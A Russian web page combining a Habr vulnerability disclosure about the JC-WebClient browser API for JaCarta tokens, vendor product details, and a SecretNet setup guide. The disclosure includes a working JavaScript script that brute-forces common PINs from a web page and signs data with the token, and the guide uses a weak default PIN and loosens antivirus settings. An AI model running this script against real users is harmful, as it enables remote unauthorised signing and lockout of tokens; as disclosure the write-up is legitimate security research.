Что за программа единый клиент jakarta

«Когда на мгновение чёрный покров отнесло в сторону, Маргарита на скаку обернулась и увидела, что сзади нет не только разноцветных башен с разворачиващимся над ними аэропланом, но нет уже давно и самого города, который ушёл в землю и оставил по себе только туман.»

М.А. Булгаков
«Мастер и Маргарита»

Привет, Хабр! Наверное почти в каждой российской организации есть эти изделия в весёлой разноцветной раскраске. Речь идёт об изделиях JaCarta и софте к ним. Привалило такое счастье и мне, и я решил немного раздвинуть чёрный покров скрывающий их сущность, сиречь API. Некоторые банки, особенно выдающие своим клиентам токены JaCarta ГОСТ-2, для работы требуют установки приложения JC-WebClient от «Аладдин Р.Д.».

Хотя на официальном сайте разработчика свежего дистрибутива нет (в разделе Демо можно скачать более старую версию, но она использует устаревший API), дистрибутив можно найти с помощью гугла по строке «JC-WebClient-4.0.0.1186» на сайтах ДБО.

После установки приложения на компе пользователя открывается порт 24738 на котором работает этот клиент.

Подключение СБИС к ЕГАИС: JaCarta

На сайте разработчика открыто и подробно описан API этого приложения (как и функции работы с файловой системой всей линейки токенов этого производителя через jcFS.dll, входящей в установочный пакет «Единый клиент JaCarta») и суть в том, что с помощью ряда функций можно или подписать ЭЦП находящейся на токене что угодно, подобрав пин код, или заблокировать токен неудачными попытками его ввода. И всё это дистанционно, через интернет.

Не секрет, что пользователи часто оставляют у токена пин код по умолчанию, или тот с которым его получили (обычно боятся, что при смене пин кода всё перестанет работать).

Чаще всего используются пин коды вида 123456, а токен в течении рабочего дня, а то и круглосуточно, воткнут в порт компа или usb хаба.

Благодаря JC-WebClient, если такому пользователю подсунуть вебстраницу или письмо с нехитрым JavaScript’ом, то появляется возможность хотя и не получить ключи токена (это в ряде случаев возможно только путём непосредственного доступа к файловой системе токена, пример здесь уже давался), но попытаться подобрать пин код и подписать какие-либо данные и куда-то их отправить.

В случае 10 неудачных попыток перебора токен блокируется, и как часто это бывает, если не установлен пин код администратора для разблокировки, то поможет только инициализация. А это не в срок уплаченные налоги (и как результат пени и даже блокировка расчётного счёта организации налоговой), неустойки от поставщиков, в общем хорошего мало.

Проблему с перебором пин кода можно было бы решить или сделав возможность его ввода только через интерфейсное окно JC-WebClient, или как полумера, в случае например 3-х неудачных попыток его ввода, блокировать дальнейшую авторизацию, выведя сообщение пользователю, и ожидать пока он не подтвердит свои действия.

Криптопро не определяет ключ JaCarta

Я написал небольшой тестовый скрипт, который показывает эту уязвимость. Скрипт работает на всех современных и относительно современных браузерах, даже IE 🙂

Естественно он ничего никуда не отправляет, а просто выводит на экран результаты работы последовательности функций.

В скрипте реализован полный перебор 10 попыток ввода пин кода «на убой» токена, поэтому запускать скрипт можно только с тестовым токеном!

Также следует помнить, что применение этого скрипта иначе кроме как на собственном тестовом токене является нарушением законодательства.

Скрипт генерации ключевой пары и сертификата средствами JC-WebClient для тестирования.
Использовать можно EToken PRO Java 72 K, JaCarta ГОСТ, JaCarta ГОСТ-2. Токен должен быть предварительно инициализирован с пин кодом пользователя 111111.

Читайте также:
Array pascal что это за программа

Перед началом тестирования необходимо установить JC-WebClient версии не ниже 4.

//Инициализация JCWebClient2 JCWebClient2.initialize(); document.write(«JC-WebClient был успешно инициализирован»+» «); //Получаем версию JCWebClient2 var vers=JCWebClient2.getJCWebClientVersion(); document.write(«Версия JCWebClient2 » + vers +» «); //Получаем доступ к слотам и определяем число подключенных токенов var slots = JCWebClient2.getAllSlots(); document.write(«Подключено токенов: «+slots.length+» «); //Выводим модель токенов for (i = 0; i < slots.length; i++) < var slot = slots[i]; document.write(«Токен: «+slot.device.name+» «+slot.device.model+» «); >var tokenID = slot.id, // Идентификатор токена userPin = ‘111111’; // PIN-код пользователя // Проверить текущее состояние аутентификации на токене // (должно равняться JCWebClient2.Vars.AuthState.notBinded) var tokenState = JCWebClient2.getLoggedInState(); document.write(‘1) Token is binded: ‘ + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+» «); // Предъявить PIN-код JCWebClient2.bindToken( < args: < tokenID: tokenID, pin: userPin >>); // Проверить изменившееся состояние // (должно равняться JCWebClient2.Vars.AuthState.binded) tokenState = JCWebClient2.getLoggedInState(); document.write(‘2) Token is binded: ‘ + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+» «); // Создать контейнер с ключевой парой и присвоить ему имя var keyPairID = JCWebClient2.createKeyPair( < args: < paramSet: «XA», description: «my description», algorithm: JCWebClient2.Vars.KeyAlgorithm.GOST_2012_256 >>); // Задать отличительное имя пользователя (Distinguished Name (DN)), // включающее стандартное имя (Common Name, (CN)) var dn = < ‘CN’: ‘123’, ‘C’: ‘RU’ >; // Задать расширения, определяющие область применения закрытого ключа var exts = < ‘keyUsage’: ‘Digital Signature’ >; // Записать сертификат var contID = JCWebClient2.generateUserSelfSignedCertificate( < args: < keyPairID: keyPairID, dn: dn, exts: exts, days: 365 >>); //Массив информации на токенах var list=[]; //Получаем список контейнеров list = JCWebClient2.getContainerList( < args: < tokenID: tokenID >>); //Получаем id и информацию о созданном контейнере var data = list[0]; var contID = data.id; document.write(«ID контейнера: «+data.id+» «); document.write(«Описание контейнера: «+data.description+» «); document.write(«Алгоритм подписи: «+data.algorithm+» «); // Отменить ввод PIN-кода JCWebClient2.unbindToken();

И собственно сам скрипт аудита безопасности:

//Инициализация JCWebClient2 JCWebClient2.initialize(); document.write(«JC-WebClient был успешно инициализирован»+» «); //Получаем версию JCWebClient2 var vers=JCWebClient2.getJCWebClientVersion(); document.write(«Версия JCWebClient2 » + vers +» «); //Получаем доступ к слотам и определяем число подключенных токенов var slots = JCWebClient2.getAllSlots(); document.write(«Подключено токенов: «+slots.length+» «); //Выводим модель токенов for (i = 0; i < slots.length; i++) < var slot = slots[i]; document.write(«Токен: «+slot.device.name+» «+slot.device.model+» «); >// Идентификатор токена var tokenID = slot.id; // Проверить текущее состояние аутентификации на токене // (должно равняться JCWebClient2.Vars.AuthState.notBinded) var tokenState = JCWebClient2.getLoggedInState(); document.write(‘Token is binded: ‘ + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+» «); //Массив информации на токенах var list=[]; //Получаем список контейнеров list = JCWebClient2.getContainerList( < args: < tokenID: tokenID >>); //Получаем id и информацию о контейнере var data = list[0]; var contID = data.id; document.write(«ID контейнера: «+data.id+» «); document.write(«Описание контейнера: «+data.description+» «); document.write(«Алгоритм подписи: «+data.algorithm+» «); // Данные для подписи (Hello World закодированное Base64) var dataToSign = ‘SGVsbG8sIFdvcmxkIQ==’; document.write(«Данные для подписи: «+dataToSign+» «); //Массив пин кодов var pin=[«1234567890», «123456», «1234567», «12345678», «123456789», «0987654321», «111111», «qwerty», «012345», «0123456», «01234567»]; //функция авторизации function bind(pass) < JCWebClient2.bindToken(< args: < tokenID: tokenID, pin: pass >>); > var i=0; //Перебор пин кодов в цикле //Осторожно! При 10 неверных попытках токен блокируется. while (i < 10) < i++; try< bind(pin[i]); tokenState = JCWebClient2.getLoggedInState(); //Если атака удалась, выводим результат и завершаем цикл if(tokenState.state=1) < document.write(«Успешно подобран пин код: «+pin[i]+» «); break; >> //Вывод информации об ошибке catch(e) > // Проверить изменившееся состояние // (должно равняться JCWebClient2.Vars.AuthState.binded) tokenState = JCWebClient2.getLoggedInState(); document.write(‘Token is binded: ‘ + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+» «); //Получаем содерижимое сертификата var CertificateBody=JCWebClient2.getCertificateBody( < args: < id: contID >>); document.write(«CertificateBody: «+CertificateBody+» «); // Подписать данные, используя программное хэширование и вывести подписанное в Base64 var signedData = JCWebClient2.signBase64EncodedData( < args: < contID: contID, data: dataToSign, attachedSignature: true >>); document.write(«Подписано успешно. «); document.write(«Подписанные данные: «+signedData+» «); //Проверка подписи var signature = signedData; var res = JCWebClient2.verifyBase64EncodedData( < args: < signature: signature >>); document.write(«Результат проверки подписи: «+res+» «); // Отменить ввод PIN-кода JCWebClient2.unbindToken();

  • etoken
  • jacarta
  • информационная безопасность
  • Информационная безопасность
  • Тестирование IT-систем
  • JavaScript
  • Расширения для браузеров
Читайте также:
Программа навигатор дополнительного образования что это отзывы

Источник: habr.com

ПК «Единый Клиент JaCarta»

ПК «Единый Клиент JaCarta» — программный комплекс, предназначенный для настройки и работы со всеми моделями USB-токенов и смарт-карт JaCarta и eToken PRO (Java) в операционных системах семейства Microsoft Windows.

  • Настройка USB-токенов и смарт-карт
  • Поддержка всех устройств JaCarta и eToken PRO (Java)
  • Работа с отечественными и зарубежными криптоалгоритмами в одном интерфейсе
  • Удобство использования для рядовых пользователей и администраторов
  • Работа с контейнерами КриптоПро CSP из единого интерфейса
  • Поддержка модулей криптопровайдеров (КриптоПро CSP, Signal-COM CSP и др.)
  • Возможности
  • Преимущества
  • Сертификаты
  • Технические требования

ПК «Единый Клиент JaCarta» объединяет в себе все необходимые инструменты для настройки и работы с устройствами (USB-токенами и смарт-картами) семейств JaCarta и eToken PRO (Java). С его помощью можно быстро и легко:

  • установить или изменить PIN-коды пользователя и администратора;
  • получить полную информацию об устройстве (название, модель, серийный номер, хэш-алгоритм подписи, объём свободной памяти и т.д.);
  • разблокировать устройство;
  • инициализировать (персонализировать) устройство с заданными настройками;
  • просмотреть, импортировать или экспортировать хранимые в устройстве объекты (цифровые сертификаты, пароли, лицензии и т.д.);
  • провести диагностику работы устройств.

Поддерживается работа с известными криптопровайдерами (CSP) без установки дополнительного программного обеспечения, например, с КриптоПро CSP, Signal-COM CSP, ViPNet CSP и др.

ПК «Единый Клиент JaCarta» может работать в двух режимах.

  • Режим пользователя позволяет просматривать краткие сведения о подсоединённых USB-токенах/смарт-картах и предоставляет доступ к базовым операциям с ними.
  • Режим администрирования позволяет просматривать полные сведения о подсоединённых USB-токенах/смарт-картах и предоставляет доступ ко всем операциям с ними.
  • Единое прикладное программное обеспечение для разных моделей USB-токенов и смарт-карт JaCarta и eToken PRO (Java).
  • Поддержка устройств как c российской, так и с зарубежной криптографией.
  • Работа с комбинированными USB-токенами и смарт-картами (например, JaCarta-2 PKI/ГОСТ) в одном окне
  • Две версии интерфейса: упрощённый — для рядовых пользователей и расширенный — для продвинутых пользователей (администраторов).
  • Возможность создания запроса на цифровой сертификат.
  • Работа с популярными криптопровайдерами, например, с КриптоПро CSP.

Сертификат соответствия ФСТЭК России № 3449 подтверждает, что ПК «JaCarta» версии 1.5 в составе USB-токенов, смарт-карт и программного обеспечения «Единый Клиент JaCarta» соответствует требованиям руководящего документа «Защита от несанкционированного доступа к информации. Часть 1. Программное обеспечение средств защиты информации. Классификация по уровню контроля отсутствия недекларированных возможностей» (Гостехкомиссия России, 1999) — по 4 уровню контроля и технических условий.

ПК «JaCarta» версии 1.5 предназначен для защиты информации, не содержащей сведений, составляющих государственную тайну, и может применяться в автоматизированных системах до класса защищённости 1Г включительно, в государственных информационных системах до 1 класса защищённости включительно, а также в информационных системах персональных данных до 1 уровня защищённости включительно.

  • Microsoft Windows 10;
  • Microsoft Windows 8.1;
  • Microsoft Windows 8;
  • Microsoft Windows 7 SP1;
  • Microsoft Windows Vista SP2;
  • Microsoft Windows XP SP3 (32-бит), SP2 (64-бит);
  • Microsoft Windows Server 2016;
  • Microsoft Windows Server 2012 R2;
  • Microsoft Windows Server 2012;
  • Microsoft Windows Server 2008 R2 SP1;
  • Microsoft Windows Server 2008 SP2;
  • Microsoft Windows Server 2003 SP2.
  • Для USB-токенов — USB-порт.
  • Для смарт-карт необходимо наличие подключённого считывателя смарт-карт.
  • Для электронных ключей в форм-факторе microSD можно использовать следующее оборудование:
  • разъём microSD;
  • разъём SD через переходник microSD-to-SD;
  • JaCarta-2 ГОСТ;
  • JaCarta-2 PKI/ГОСТ;
  • JaCarta-2 PKI/BIO/ГОСТ;
  • JaCarta-2 PRO/ГОСТ;
  • JaCarta PKI;
  • JaCarta PKI/BIO;
  • JaCarta ГОСТ;
  • JaCarta PKI/ГОСТ;
  • JaCarta PKI/BIO/ГОСТ;
  • JaCarta PRO;
  • JaCarta PRO/ГОСТ;
  • JaCarta PKI/Flash;
  • JaCarta ГОСТ/Flash;
  • JaCarta PKI/ГОСТ/Flash;
  • JaCarta WebPass;
  • JaCarta U2F;
  • JaCarta U2F/WebPass;
  • JaCarta LT;
  • JaCarta CryptoPro.
  • eToken ГОСТ;
  • eToken Anywhere;
  • eToken PRO (Java);
  • eToken NG-Flash (Java);
  • eToken NG-OTP (Java) * ;
  • eToken CryptoPro.
Читайте также:
Программа nfs что это

* без поддержки функциональности OTP

Источник: it-enigma.ru

Инструкция по установке JaCarta ГОСТ в связке с SecretNet 7

  • Запустите SpIDer Agent, нажав значок на панели задач в области уведомлений.
  • Разблокировать SpIDer Agent для внесения изменений нажав кнопку «замок»
  • В появившемся окне нажать значок «Настройки»0-dr-web
  • В появившемся окне выбрать опцию Компоненты защиты
  • В появившемся окне выбрать опцию «Превентивная защита» и установить параметр «Разрешать» в соответствии с рисунком ниже:Превентивная защита
  1. Первичная инициализация токенаJaCarta
  • Запустите ПО Единый клиент JaCarta
  • Предъявите (подключите к usb порту) токен JaCarta
  • Переключитесь в режим администрирования, нажав в нижнем левом углу ссылку окна «Переключиться в режим администрирования»
  • Перейдите на вкладку «ГОСТ» и нажмите «Инициализировать»Перейдите на вкладку «ГОСТ» и нажмите «Инициализировать»
  • Введите pin-код администратора «1234567890»
  • Введите «Имя токена» «1234567890»
  • Поставьте галку на «Установить pin-код пользователя»
  • Введите pin-код пользователя «1234567890» дважды.инициализация токена JaCarta
  • В окне предупреждения об очистке токена нажмите «Продолжить», далее должно появиться уведомление «Приложение успешно проинициализировано».
  1. НастройкаSecretNet для установки параметров идентификации и аутентификации пользователя.

Подразумевается, что СЗИ Secret Net установлен в систему, и заведены необходимые пользователи.

Чтобы инициализировать токен средствами СЗИ выполните следующие действия:

Перейдите на вкладку «Secret Net 7» в разделе «Идентификатор»

  • Запустите оснастку «Управление компьютером» (Win+R –> compmgmt.msc).
  • Зайдите в раздел «локальные пользователи»: Управление компьютером-> Служебные программы -> Локальные пользователи -> Пользователи.
  • Выберите нужного пользователя.
  • Перейдите в свойства выбранного пользователя: Нажмите правой кнопкой мыши -> Свойства
  • Перейдите на вкладку «Secret Net 7» в разделе «Идентификатор»
  • Нажмите кнопку «Инициализировать…» -> предъявите (подключите к usb порту) токен JaCarta -> подождите пока появиться идентификатор в списке (не более 1 мин)
  • Нажмите «ОК»
  • После того как статус перейдет в состояние обработан, нажмите кнопку «закрыть».
  • На той же форме нажмите кнопку «Добавить» -> Откроется «Мастер присвоения персональных идентификаторов»
  • Проставьте все галки:

Включить режим хранения пароля;

Записать пароль в идентификатор;

Записать в идентификатор закрытый ключ пользователя.

  • Нажмите «Далее»
  • Введите пароль пользователя и нажмите «ОК»
  • При смене статуса – Ввод пароля пользователя на «выполнено», нажмите «Далее».
  • При появлении идентификатора в списке нажмите «ОК»
  • После того как статус перейдет в состояние обработан, нажмите кнопку «закрыть».статус перейдет в состояние обработан
  • Результатом будет идентификатор присвоенные пользователю:результат присвоения токена пользователю

Чтобы настроить параметры идентификации и аутентификации пользователя, выполните следующие действия:

Настройки подсистем Локальной политика безопасности

Запустите «Локальную политику безопасности»: Пуск -> Код безопасности -> Secret net -> Локальная политика безопасности -> Параметры Secret Net -> Настройки подсистем

Настройте параметры политик входа в систему согласно требованиям:

Для проверки работы токена JaCarta выполните следующие действия:

  • измените «Режим идентификации пользователя» на «Смешанный», способом описанном в пункте 3.
  • перезагрузите компьютер
  • предъявите (подключите к usb порту) токен JaCarta

Если удалось войти в ОС без ручного ввода пароля, то проверка работы механизмов идентификации и аутентификации успешен.

Источник: www.itworkroom.com

Рейтинг
( Пока оценок нет )
Загрузка ...
EFT-Soft.ru